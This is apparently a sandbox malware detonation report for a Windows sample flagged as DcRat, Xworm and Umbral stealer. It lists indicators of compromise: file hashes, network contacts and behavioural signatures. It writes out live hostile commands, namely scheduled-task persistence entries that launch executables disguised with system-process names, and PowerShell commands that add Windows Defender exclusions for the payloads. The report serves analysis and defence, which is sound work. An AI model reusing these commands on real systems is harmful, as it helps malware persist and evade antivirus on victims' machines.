schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\System.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "NursultanN" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Cookies\Nursultan.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Nursultan" /sc ONLOGON /tr "'C:\Users\Default\Cookies\Nursultan.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "NursultanN" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Cookies\Nursultan.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 5 /tr "'C:\Nurik\Idle.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Nurik\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 5 /tr "'C:\Nurik\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Media Player\en-US\sppsvc.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\en-US\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Media Player\en-US\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsml" /sc MINUTE /mo 12 /tr "'C:\Nurik\lsm.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Nurik\lsm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsml" /sc MINUTE /mo 13 /tr "'C:\Nurik\lsm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Saved Games\wininit.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Users\Admin\Saved Games\wininit.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\Saved Games\wininit.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\Start Menu\dwm.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Users\Admin\Start Menu\dwm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 5 /tr "'C:\Users\Admin\Start Menu\dwm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\Program Files\Uninstall Information\lsass.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\lsass.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Program Files\Uninstall Information\lsass.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Windows\Migration\lsm.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\Migration\lsm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsml" /sc MINUTE /mo 6 /tr "'C:\Windows\Migration\lsm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\Nurik\services.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Nurik\services.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "servicess" /sc MINUTE /mo 6 /tr "'C:\Nurik\services.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Documents\My Pictures\wininit.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Users\Public\Documents\My Pictures\wininit.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Documents\My Pictures\wininit.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Windows\SoftwareDistribution\Download\d881ecfb1357f383d18f1e4fd0554eb0\cbshandler\csrss.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\SoftwareDistribution\Download\d881ecfb1357f383d18f1e4fd0554eb0\cbshandler\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Windows\SoftwareDistribution\Download\d881ecfb1357f383d18f1e4fd0554eb0\cbshandler\csrss.exe'" /rl HIGHEST /f

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\tCfASm4EcR.bat"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-1844552083-10517693271624062642936246513-358984214-162227279213917191172133264457"

C:\Windows\system32\w32tm.exe

w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\LoaderMas.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'LoaderMas.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'

C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe

"C:\Recovery\3e6c2342-cc12-11ee-878b-7662d560f583\explorer.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 a0948305.xsph.ru udp
RU 141.8.192.103:80 a0948305.xsph.ru tcp
N/A 127.0.0.1:30683 tcp
N/A 127.0.0.1:30683 tcp
N/A 127.0.0.1:30683 tcp
N/A 127.0.0.1:30683 tcp
N/A 127.0.0.1:30683 tcp
N/A 127.0.0.1:30683 tcp
N/A 127.0.0.1:30683 tcp
N/A 127.0.0.1:30683 tcp

Files

memory/3000-0-0x000007FEF4E63000-0x000007FEF4E64000-memory.dmp

memory/3000-1-0x0000000001370000-0x0000000002740000-memory.dmp

C:\Users\Admin\AppData\Roaming\Nursultan (17).exe

MD5 ed965403e795c3b563d67c734472ad93
SHA1 6b8b929239d5ef8f1f546c591c67acaf560de4dc
SHA256 6b7473e7177ef0666f6afe36b257d0730dababefc209ee1c5f2da319dbe1633d
SHA512 bd860103c5ac1bcc02bfefc669616a1b0103dfb3c611b0e4499cf4b1fc67d49c9cd57c1839936b75e0f0008aec0f84cb0af712feb334957972661405a137f649

C:\Users\Admin\AppData\Roaming\t.bat

MD5 d85bd59cf0808fb894f60773e1594a0a
SHA1 84b9d205f3ae6ca4f8f1bb938ee8b4d452444cde
SHA256 f3ef597673421e514d7fed82b40d65386c3811c4a8f5553afd59fc632bca8746
SHA512 225788e3e98449f53e6206c585315a37c9ff6ed0b5425b2a98e50c7ac45ab3c187ccf7626f126ba300bd8dbdf89c864e89f85d6264edc89281745b081ec58f97

memory/2640-12-0x0000000000380000-0x00000000015BA000-memory.dmp

memory/2652-18-0x0000000000F80000-0x0000000000FC0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Umbral.exe

MD5 f48ef033300ec9fd3c77afff5c20e95f
SHA1 22d6125b980474b3f54937003a765cdd5352f9a8
SHA256 72ee11a905ca278130f02397422b4cc4944851065ce0072f9888b70c5ad40f1e
SHA512 847ee8cdb14879089c861168d6be90325304df490668a38447b37772423e6dab5e32a5df344ceb58410d3b24cf25cd7221e8768951e5aca14820996a1e8304bc

C:\perfdhcpSvc\LUps3wjkA6jhdk7xRy8J55z2u.vbe

MD5 00b53f3e200522631227cac1a07e0646
SHA1 a0c69d58c7ca10f5fd5e1320b1b2f92081d7fcfe
SHA256 486c050aadc42906113b0c5c8485dff36b0187f343a732542608a91b0565146c
SHA512 22241ae8a31c7e564c9fb652947e4fe17f80c6e94dfe1a3bb5890f6eb97797ee32ccfff5d647eef02bda31bd47c5d95521cd0c6349a01e501e6e064ea6306243

memory/2640-28-0x000007FEF4E60000-0x000007FEF584C000-memory.dmp

C:\Users\Admin\AppData\Roaming\Nursultan.exe

MD5 e504e3fc36fe4d6f182c98923979a779
SHA1 3ba9f1a9a15b79639a20cfcf79c9de31d15a17a6
SHA256 70b7b95bb952b3325476867307fc5bd4df5769b97bbcdd8b60e7b46e1b38e4a0
SHA512 63bbbc3ccf14b2846df64b8edae52b6431df52aa9e03569a28ca239ab02db94bf79ca8a0a30529e35a04ee5845768d752b99e6ce3830ab440c57850180ad1647

C:\Users\Admin\AppData\Roaming\LoaderMas.exe

MD5 a0dbdf3af38ead2237ccb781a098a431
SHA1 1434296af6c5530eb036718e860490e0adc3321a
SHA256 6f483da6b36646bf6f33db0c210bd3683ff29428a44d916a2f26a4240c1a9901
SHA512 dd7dc91a2e09b0c3906efbb486fb84d0289dc61338afd75d203f1ab2f49556c9523a8a9abc913363a45dde8194f5b2ee9d3d659807250047331944c39006edc3

memory/2968-39-0x0000000000AC0000-0x0000000000AD6000-memory.dmp

memory/2640-40-0x000007FEF4E60000-0x000007FEF584C000-memory.dmp

memory/2500-46-0x0000000077110000-0x0000000077112000-memory.dmp

memory/2500-44-0x0000000077110000-0x0000000077112000-memory.dmp

memory/2500-42-0x0000000077110000-0x0000000077112000-memory.dmp

memory/2500-50-0x0000000140000000-0x0000000142153000-memory.dmp

C:\perfdhcpSvc\mStUjP0ksX5N.bat

MD5 a9330c6da12d90d5d956ae2bbcf017d7
SHA1 7ebaa14eed80db6d9f0c0c0f1ecab1a9c3f61410
SHA256 b49853470383dce14680f656aca7ea449b1d6aabb3f18d4165ebd7e3e7545393
SHA512 557c91cc1cc0d7309f50e286644a2da543c0283d4a1659f7d31554282ddc48b5f972d98d5a01433078fdbe6cc813bb6f7c120e2307fae48c5d81be44ae823228

C:\perfdhcpSvc\Chainprovider.exe

MD5 d2ec227ddac047e735393e58e742fd44
SHA1 7aae5c76378f7cfcff8bb983695fa4c2577a20e2
SHA256 0e679527f2df9f87d33c82023256fac276c36006579d2d71877ccab4be847cce
SHA512 5a11b292a574bd2ca6c225af1e4c9f95004a49ce816cc59a73d4ab6e2a0b007a58ab56e5e0c004901c3ebe4ec06054e6e801f8e659711856857add6d43f38979

memory/2524-56-0x0000000000A30000-0x0000000000B06000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tCfASm4EcR.bat

MD5 fefb62df5510e283daa8d32f425e7382
SHA1 a52da39d21835bbbfb8a3a5f222db43e7deef2ed
SHA256 bb4913bce12a2398e0f7d64cf34d0d73fe4a511777d53ddb4135160a9accd0fc
SHA512 f77995db81f619b28fa167ea17558771558f36e8cba8bd58aede392aa2799d50f1603c114d916476076c7bec42fc03cc77d3348f3ff9d72f8970ac60f7218c28

memory/2008-98-0x000000001B440000-0x000000001B722000-memory.dmp

memory/2008-99-0x0000000002710000-0x0000000002718000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 600fdd3e49f77ff1eb552b0fa35dd10d
SHA1 2eaf448907b20475acb2069a60d46001dc9425f8
SHA256 286ee7da0ff0fbac9771844519f3b5d31e2017d205ca91541739336ca7f0fd33
SHA512 dffe691111e43ff3be5266dcd89f3b95611d0445f2959f0a3533f1b23bd9050b2bb912fa3b447df7607ad1c19c9180b6c25881cb8743c7d0334b39550baeb670

memory/1548-105-0x000000001B790000-0x000000001BA72000-memory.dmp

memory/1548-106-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

memory/2504-123-0x0000000000D80000-0x0000000000E56000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-18 01:22

Reported

2024-05-18 01:25

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe"

Signatures

DcRat

rat infostealer dcrat

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

Umbral

stealer umbral

Xworm

trojan rat xworm

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects Windows executables referencing non-Windows User-Agents

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables attemping to enumerate video devices using WMI

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox analysis VM names

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox analysis VM usernames

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox system UUIDs

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Roaming\Umbral.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\perfdhcpSvc\Chainprovider.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\t.bat N/A
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\Nursultan (17).exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A

Reads user/profile data of web browsers

spyware stealer

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Adobe\upfc.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files (x86)\Adobe\ea1d8f6d871115 C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files (x86)\Windows NT\Accessories\en-US\conhost.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Program Files (x86)\Windows NT\Accessories\en-US\088424020bedd6 C:\perfdhcpSvc\Chainprovider.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\uk-UA\RuntimeBroker.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Windows\uk-UA\9e8d7a4ca61bd9 C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Windows\Migration\WTR\csrss.exe C:\perfdhcpSvc\Chainprovider.exe N/A
File created C:\Windows\Migration\WTR\886983d96e3d3e C:\perfdhcpSvc\Chainprovider.exe N/A

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings C:\Users\Admin\AppData\Roaming\t.bat N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Umbral.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Nursultan.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Nursultan.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\perfdhcpSvc\Chainprovider.exe N/A
N/A N/A C:\perfdhcpSvc\Chainprovider.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\perfdhcpSvc\Chainprovider.exe N/A
N/A N/A C:\perfdhcpSvc\Chainprovider.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\uk-UA\RuntimeBroker.exe N/A
N/A N/A C:\Windows\uk-UA\RuntimeBroker.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Umbral.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\LoaderMas.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\perfdhcpSvc\Chainprovider.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\uk-UA\RuntimeBroker.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
